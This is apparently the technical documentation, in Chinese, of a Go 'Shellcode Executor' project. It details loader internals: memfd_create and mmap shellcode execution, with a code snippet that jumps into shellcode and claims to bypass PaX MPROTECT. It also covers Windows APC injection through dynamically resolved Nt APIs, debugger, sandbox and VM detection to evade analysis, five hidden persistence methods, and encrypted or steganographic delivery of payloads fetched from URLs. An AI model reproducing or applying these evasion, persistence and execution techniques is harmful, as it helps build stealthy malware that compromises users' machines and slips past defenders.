Skip to content

Latest commit

 

History

History
187 lines (132 loc) · 6.38 KB

File metadata and controls

187 lines (132 loc) · 6.38 KB

Shellcode Executor 技术文档

本文档为 README.md 的技术补充,专注于各模块内部实现细节。 项目概述、构建命令、更新日志请见 README.md。

Linux 执行引擎(pkg/executor/advanced_linux.go)

使用 golang.org/x/sys/unix 包(syscall.RawSyscall6 已弃用)。

Technique 1:memfd_create(首选,最隐蔽)

unix.MemfdCreate("", MFD_CLOEXEC)
  → unix.Ftruncate(fd, size)
  → unix.Mmap(fd, RW)   写入 shellcode
  → unix.Munmap(rwMem)
  → unix.Mmap(fd, RX)   独立 RX 映射,不调用 mprotect
  → goroutine + LockOSThread → callShellcode(addr)

优势:写入和执行分两次独立映射,不触发 W→X mprotect,可绕过 PaX/grsec MPROTECT 策略。

Technique 2:mmap + mprotect(回退,广泛兼容)

unix.Mmap(-1, RW, MAP_PRIVATE|MAP_ANONYMOUS)
  → copy shellcode
  → unix.Mprotect(RX)
  → goroutine + LockOSThread → callShellcode(addr)

callShellcode 函数指针模式(无 cgo)

Go func() 变量内部存储的是指向 {codePtr,...} 描述符的指针,调用时 runtime 先读取 *funcValue 得到代码地址,再跳转。

func callShellcode(addr uintptr) {
    // funcval 作为单字段描述符,第一字段 = 真实代码指针
    funcval := addr
    var f func()
    // 将 &funcval 写入 f 的内部指针字段
    // 调用时:runtime 读取 *(&funcval) = addr,跳转到 addr ✓
    *(*uintptr)(unsafe.Pointer(&f)) = uintptr(unsafe.Pointer(&funcval))
    f()
}

⚠️ 错误做法*(*func())(unsafe.Pointer(&shellcodeAddr)) 会把 addr 直接存为 func 值, runtime 读取 *addr(shellcode 前8字节)当代码指针,导致 SIGSEGV addr=0x0


Windows 执行引擎(pkg/executor/advanced_windows.go)

通过动态解析的 Nt 系列 API 执行:

步骤 API 说明
1 RtlCreateHeap(HEAP_CREATE_ENABLE_EXECUTE) 创建可执行堆
2 RtlAllocateHeap(HEAP_ZERO_MEMORY) 分配堆内存
3 copy() 写入 shellcode
4 NtProtectVirtualMemory(PAGE_EXECUTE_READ) 改为 RX
5 NtCreateThreadEx(SUSPENDED) 创建挂起线程
6 NtQueueApcThread APC 注入
7 EnumTimeFormatsA(callback) 回调执行
8 NtAlertResumeThread 唤醒线程

环境检测(pkg/peb/)

Linux(peb_linux.go)

方法 检测目标 实现
IsDebuggerPresent() 调试器 /proc/self/status TracerPid + ptrace(PTRACE_TRACEME)
GetNtGlobalFlag() 兼容接口 返回 0
IsSandboxed() 容器 + 虚拟机 /.dockerenv + /proc/1/cgroup + DMI + cpuinfo hypervisor

注意:IsSandboxed() 会检测 VMware/VirtualBox/QEMU/KVM/Xen 等 hypervisor 特征, 在 Kali 虚拟机中测试时需在 main_linux.go 中注释掉 antiAnalysis() 调用。

Windows(peb_windows.go)

检测项 方法
调试器 PEB.BeingDebugged
调试标志 NtGlobalFlag & 0x70
沙箱模块 PEB 模块链表遍历(sbiedll/vboxhook/vmtools 等)

持久化(pkg/executor/stealth_persistence_*.go)

Linux(5 种方法)

cmd/auto_cleaner/main_linux.go 清理逻辑完全对应:

# 安装位置 auto_cleaner 清理动作
1 ~/.local/share/.<random>/.<random> filepath.Glob("~/.local/share/.*/..*")
2 ~/.config/systemd/user/<appName>.service systemctl --user disable/stop + os.Remove
3 crontab @reboot <path> crontab -l 过滤 + crontab <tmpfile>
4 ~/.bashrc 追加行 cleanShellConfigs()/.local/share/. 模式删除
5 ~/.config/autostart/<appName>.desktop os.Remove(autostartDir/appName.desktop)

servicedesktop 文件名均使用 spm.appName(即隐藏目录名,如 .a1b2c3d4), auto_cleaner 通过 filepath.Base(filepath.Dir(targetPath)) 反推该值,命名完全匹配。

Windows

  • 复制到 os.TempDir()/<GUID>.exe(随机文件名,看起来像系统临时文件)
  • 写入 HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • 注册表项名基于源程序路径的 SHA256 哈希(前8字节),保证同一程序稳定复用

API 管理器(pkg/api/)

Windows(manager_windows.go)

  • 通过 PEB 获取 ntdll/kernel32 模块基址
  • 解析 PE 导出表(DOS头 → NT头 → 导出目录 → 名称表 → 地址表)
  • 缓存已解析地址(sync.RWMutex 保护)
  • 支持 API:RtlCreateHeap / RtlAllocateHeap / RtlFreeHeap / NtProtectVirtualMemory / NtCreateThreadEx / NtQueueApcThread / NtAlertResumeThread / EnumTimeFormatsA 等

Linux(manager_linux.go)

空存根,golang.org/x/sys/unix 提供直接系统调用,无需动态解析。


加密工具(internal/cryptoutil/)

加密格式

[魔数"LGOENC1" 7B][迭代次数 4B][轮数 2B][盐 16B][nonce×N 12B×N][密文+GCM标签]

关键参数

  • 算法:AES-256-GCM
  • 密钥派生:PBKDF2-HMAC-SHA256,迭代 210000 次
  • 默认 3 轮加密,支持 1-64 轮

注意DecryptBase64WithPassword 返回原始字节,不做内容清理。 若解密结果为 hex 字符串且含换行符,调用方需先用 strings.Fields 去除空白再传给 hex.DecodeString


图片隐写提取(internal/cryptoutil/stego.go)

纯标准库实现(image/png + image/jpeg),无额外依赖。

LSB 存储格式

cmd/encrypt/stego.go hideDataInImage 完全对应:

[4 字节大端长度头][data 字节流]
每一位依次占 R/G/B/A 通道 LSB,按像素从左到右、从上到下排列

API

函数 输入 说明
ExtractFromImage(path) 本地文件路径 打开文件解码后提取
ExtractFromImageBytes(data) []byte 从内存图片字节提取(网络下载后直接使用)
StegoDecryptFromImageBytes(imageData, password) 图片字节 + 密码 提取 + 解析 blob + 解密,一步返回明文

loadShellcode 自动判断逻辑(download.go)

if strings.HasSuffix(lower, ".png") || ... {
    // 隐写模式:StegoDecryptFromImageBytes → 直接返回 shellcode 字节
} else {
    // 文本模式:DecryptBase64WithPassword → hex decode → shellcode 字节
}

URL 后缀决定走哪条路,主程序无需感知格式。


最后更新:2026-04-09 版本:v1.3.0